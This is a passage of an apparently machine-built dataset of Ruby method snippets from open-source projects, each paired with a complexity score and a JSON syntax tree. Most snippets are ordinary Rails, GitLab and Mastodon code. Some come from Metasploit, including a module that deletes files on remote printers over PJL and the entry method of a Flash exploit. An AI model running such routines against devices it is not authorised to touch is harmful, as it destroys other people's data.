"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"wizard_js\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"translations\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"locale_str\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"wizard_js\"]}]},\"deep_merge!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plugin_translations\",{\"type\":\"lvar\",\"children\":[\"locale_str\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"wizard_js\"]}]}]},null]}]},null]},{\"type\":\"lvar\",\"children\":[\"translations\"]}]}]}]}]}","id":"e73453e7-2898-49ff-b880-2eefea9e0457"} {"repo_name":"forem","file_path":"./repos/forem/db/migrate/20171229192205_change_last_moderation_notification_default_on_user.rb","start_line":2,"raw_source":"def up\n change_column_default :users, :last_moderation_notification, Time.new(2017,1,1)\n end","complexity_score":3.25,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"change_column_default\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"last_moderation_notification\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"new\",{\"type\":\"int\",\"children\":[2017]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"2844d4a8-c7e9-4835-8c71-d546a960d179"} {"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/app_generator_test.rb","start_line":374,"raw_source":"def test_app_update_does_not_generate_active_storage_contents_when_skip_active_record_is_given\n run_generator [destination_root, \"--skip-active-record\"]\n run_app_update\n\n assert_file \"config/environments/development.rb\" do |content|\n assert_no_match(/config\\.active_storage/, content)\n end\n\n assert_file \"config/environments/production.rb\" do |content|\n assert_no_match(/config\\.active_storage/, content)\n end\n\n assert_file \"config/environments/test.rb\" do |content|\n assert_no_match(/config\\.active_storage/, content)\n end\n\n assert_no_file \"config/storage.yml\"\n end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_app_update_does_not_generate_active_storage_contents_when_skip_active_record_is_given\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]},{\"type\":\"str\",\"children\":[\"--skip-active-record\"]}]}]},{\"type\":\"send\",\"children\":[null,\"run_app_update\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"config/environments/development.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"config\\\\.active_storage\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"config/environments/production.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"config\\\\.active_storage\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"config/environments/test.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"config\\\\.active_storage\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_file\",{\"type\":\"str\",\"children\":[\"config/storage.yml\"]}]}]}]}","id":"d1bd1234-178e-4d48-a690-cda1f00e0837"} {"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman.rb","start_line":528,"raw_source":"def self.load_brakeman_dependency name, allow_fail = false\n return if @loaded_dependencies.include? name\n\n unless @vendored_paths\n path_load = \"#{File.expand_path(File.dirname(__FILE__))}/../bundle/load.rb\"\n\n if File.exist? path_load\n require path_load\n end\n\n @vendored_paths = true\n end\n\n begin\n require name\n rescue LoadError => e\n if allow_fail\n raise e\n else\n $stderr.puts e.message\n $stderr.puts \"Please install the appropriate dependency: #{name}.\"\n exit!(-1)\n end\n end\n end","complexity_score":23.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"load_brakeman_dependency\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"allow_fail\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@loaded_dependencies\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@vendored_paths\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path_load\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"str\",\"children\":[\"(method)\"]}]}]}]},{\"type\":\"str\",\"children\":[\"/../bundle/load.rb\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"path_load\"]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"lvar\",\"children\":[\"path_load\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@vendored_paths\",{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoadError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allow_fail\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stderr\"]},\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stderr\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Please install the appropriate dependency: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"send\",\"children\":[null,\"exit!\",{\"type\":\"int\",\"children\":[-1]}]}]}]}]},null]}]}]}]}","id":"7fb75420-f969-41cd-94f8-5ff2465643c2"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/ldap/config.rb","start_line":163,"raw_source":"def smartcard_ad_cert_format\n options['smartcard_ad_cert_format']\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"smartcard_ad_cert_format\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"smartcard_ad_cert_format\"]}]}]}","id":"7afc7fe8-ab77-4e17-badf-8bf6e2806793"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/chat_message/pipeline_message.rb","start_line":265,"raw_source":"def commit_link\n link(commit.title, commit_url)\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"commit_link\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"link\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commit\"]},\"title\"]},{\"type\":\"send\",\"children\":[null,\"commit_url\"]}]}]}","id":"409f4457-8954-46c7-b7e4-835d7e153d46"} {"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/type/decimal.rb","start_line":83,"raw_source":"def convert_float_to_big_decimal(value)\n if precision\n BigDecimal(apply_scale(value), float_precision)\n else\n value.to_d\n end\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"convert_float_to_big_decimal\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"precision\"]},{\"type\":\"send\",\"children\":[null,\"BigDecimal\",{\"type\":\"send\",\"children\":[null,\"apply_scale\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"float_precision\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_d\"]}]}]}","id":"86c6bc9e-24e5-4a43-8fb0-176110334074"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb","start_line":1622,"raw_source":"def cmd_disable_unicode_encoding\n client.encode_unicode = false\n print_status('Unicode encoding is disabled')\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_disable_unicode_encoding\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"encode_unicode=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Unicode encoding is disabled\"]}]}]}]}","id":"6b76dd71-f05c-4e19-a45f-5cf5f79ad8d4"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/url_for_test.rb","start_line":168,"raw_source":"def test_port\n add_host!\n assert_equal(\"http://www.basecamphq.com:3000/c/a/i\",\n W.new.url_for(controller: \"c\", action: \"a\", id: \"i\", port: 3000)\n )\n end","complexity_score":4.95,"ast_json":"{\"type\":\"def\",\"children\":[\"test_port\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_host!\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"http://www.basecamphq.com:3000/c/a/i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"W\"]},\"new\"]},\"url_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"c\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"a\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"int\",\"children\":[3000]}]}]}]}]}]}]}","id":"261c4c08-44cd-4292-978f-b204b142edfb"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/poll/app/serializers/poll_serializer.rb","start_line":65,"raw_source":"def close\n object.close_at\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"close\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"close_at\"]}]}","id":"de672320-84ff-4565-a7d8-122c52686e77"} {"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/source/sftp/client.rb","start_line":7,"raw_source":"def check_connection(connection_config)\n connection_config = connection_config.with_indifferent_access\n create_connection(connection_config)\n if @sftp.stat!(@remote_file_path)\n success_status\n else\n failure_status(nil)\n end\n rescue StandardError => e\n handle_exception(e, {\n context: \"SFTP:CHECK_CONNECTION:EXCEPTION\",\n type: \"error\"\n })\n failure_status(e)\n end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection_config\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connection_config\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"with_indifferent_access\"]}]},{\"type\":\"send\",\"children\":[null,\"create_connection\",{\"type\":\"lvar\",\"children\":[\"connection_config\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sftp\"]},\"stat!\",{\"type\":\"ivar\",\"children\":[\"@remote_file_path\"]}]},{\"type\":\"send\",\"children\":[null,\"success_status\"]},{\"type\":\"send\",\"children\":[null,\"failure_status\",{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handle_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"str\",\"children\":[\"SFTP:CHECK_CONNECTION:EXCEPTION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"error\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"failure_status\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]}","id":"5e2ea9e3-2da9-4366-a2fe-bca8844650d7"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/printer/printer_delete_file.rb","start_line":47,"raw_source":"def run_host(ip)\n path = datastore[\"PATH\"]\n\n connect\n pjl = Rex::Proto::PJL::Client.new(sock)\n pjl.begin_job\n\n pjl.fsinit(path[0..1])\n\n if pjl.fsdelete(path)\n print_good(\"#{ip}:#{rport} - Deleted #{path}\")\n end\n\n pjl.end_job\n disconnect\n end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PATH\"]}]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"pjl\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"PJL\"]},\"Client\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"sock\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pjl\"]},\"begin_job\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pjl\"]},\"fsinit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pjl\"]},\"fsdelete\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Deleted \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pjl\"]},\"end_job\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"5389d5e8-6008-4b3b-b366-6d3be794ce6b"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/account_conversation.rb","start_line":74,"raw_source":"def add_status(recipient, status)\n conversation = find_or_initialize_by(account: recipient, conversation_id: status.conversation_id, participant_account_ids: participants_from_status(recipient, status))\n\n return conversation if conversation.status_ids.include?(status.id)\n\n conversation.status_ids << status.id\n conversation.unread = status.account_id != recipient.id\n conversation.save\n conversation\n rescue ActiveRecord::StaleObjectError\n retry\n end","complexity_score":21.8,"ast_json":"{\"type\":\"def\",\"children\":[\"add_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"recipient\"]},{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conversation\",{\"type\":\"send\",\"children\":[null,\"find_or_initialize_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"lvar\",\"children\":[\"recipient\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conversation_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"conversation_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"participant_account_ids\"]},{\"type\":\"send\",\"children\":[null,\"participants_from_status\",{\"type\":\"lvar\",\"children\":[\"recipient\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conversation\"]},\"status_ids\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"id\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conversation\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conversation\"]},\"status_ids\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conversation\"]},\"unread=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"account_id\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recipient\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conversation\"]},\"save\"]},{\"type\":\"lvar\",\"children\":[\"conversation\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"StaleObjectError\"]}]},null,{\"type\":\"retry\",\"children\":[]}]},null]}]}","id":"74979266-4fac-4a75-af46-1a5169fdb5ed"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/ldap/client.rb","start_line":27,"raw_source":"def register_interaction\n @last_interaction = Process.clock_gettime(Process::CLOCK_MONOTONIC)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"register_interaction\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@last_interaction\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"clock_gettime\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"CLOCK_MONOTONIC\"]}]}]}]}","id":"672727d9-49cd-4ae7-a58f-52f81db5332b"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/link_renderer.rb","start_line":86,"raw_source":"def previous_or_next_page(page, text, class_suffix)\n if page\n tag(:li,\n link(text, page, { class: \"op-pagination--item-link op-pagination--item-link_#{class_suffix}\" }),\n class: \"op-pagination--item\")\n else\n \"\"\n end\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"previous_or_next_page\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"page\"]},{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"arg\",\"children\":[\"class_suffix\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},{\"type\":\"send\",\"children\":[null,\"tag\",{\"type\":\"sym\",\"children\":[\"li\"]},{\"type\":\"send\",\"children\":[null,\"link\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"page\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"op-pagination--item-link op-pagination--item-link_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_suffix\"]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"op-pagination--item\"]}]}]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"e5e599b2-ae47-43e8-9146-c9bd27ba0216"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/projects/refs_controller_spec.rb","start_line":109,"raw_source":"def xhr_get(format = :html, params = {})\n get :logs_tree, params: {\n namespace_id: project.namespace.to_param,\n project_id: project,\n id: 'master',\n path: path,\n format: format\n }.merge(params), xhr: true\n end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"xhr_get\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"format\",{\"type\":\"sym\",\"children\":[\"html\"]}]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"logs_tree\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]},\"to_param\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"master\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[null,\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"lvar\",\"children\":[\"format\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"xhr\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"e0eabfaa-dac9-491f-951f-dc717f056369"} {"repo_name":"hooks","file_path":"./repos/hooks/lib/hooks/core/plugin_loader.rb","start_line":23,"raw_source":"def load_all_plugins(config)\n # Clear existing registries\n @auth_plugins = {}\n @handler_plugins = {}\n @lifecycle_plugins = []\n @instrument_plugins = { stats: nil, failbot: nil }\n\n # Load built-in plugins first\n load_builtin_plugins\n\n # Load custom plugins if directories are configured\n load_custom_auth_plugins(config[:auth_plugin_dir]) if config[:auth_plugin_dir]\n load_custom_handler_plugins(config[:handler_plugin_dir]) if config[:handler_plugin_dir]\n load_custom_lifecycle_plugins(config[:lifecycle_plugin_dir]) if config[:lifecycle_plugin_dir]\n load_custom_instrument_plugins(config[:instruments_plugin_dir]) if config[:instruments_plugin_dir]\n\n # Load default instruments if no custom ones were loaded\n load_default_instruments\n\n # Log loaded plugins\n log_loaded_plugins\n end","complexity_score":24.6,"ast_json":"{\"type\":\"def\",\"children\":[\"load_all_plugins\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@auth_plugins\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@handler_plugins\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@lifecycle_plugins\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@instrument_plugins\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stats\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"failbot\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"load_builtin_plugins\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"auth_plugin_dir\"]}]},{\"type\":\"send\",\"children\":[null,\"load_custom_auth_plugins\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"auth_plugin_dir\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"handler_plugin_dir\"]}]},{\"type\":\"send\",\"children\":[null,\"load_custom_handler_plugins\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"handler_plugin_dir\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"lifecycle_plugin_dir\"]}]},{\"type\":\"send\",\"children\":[null,\"load_custom_lifecycle_plugins\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"lifecycle_plugin_dir\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"instruments_plugin_dir\"]}]},{\"type\":\"send\",\"children\":[null,\"load_custom_instrument_plugins\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"instruments_plugin_dir\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"load_default_instruments\"]},{\"type\":\"send\",\"children\":[null,\"log_loaded_plugins\"]}]}]}","id":"4f1796e1-45e1-4de8-a898-393b6c7dca22"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb","start_line":102,"raw_source":"def exploit\n @swf = create_swf\n\n super\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@swf\",{\"type\":\"send\",\"children\":[null,\"create_swf\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"ef4bde91-5ece-441e-9682-6e9225949a7b"} {"repo_name":"manageiq","file_path":"./repos/manageiq/lib/request_started_on_middleware.rb","start_line":17,"raw_source":"def start_request(path_info, started_on)\n Thread.current[:current_request_path_info] = path_info\n Thread.current[:current_request_started_on] = started_on\n 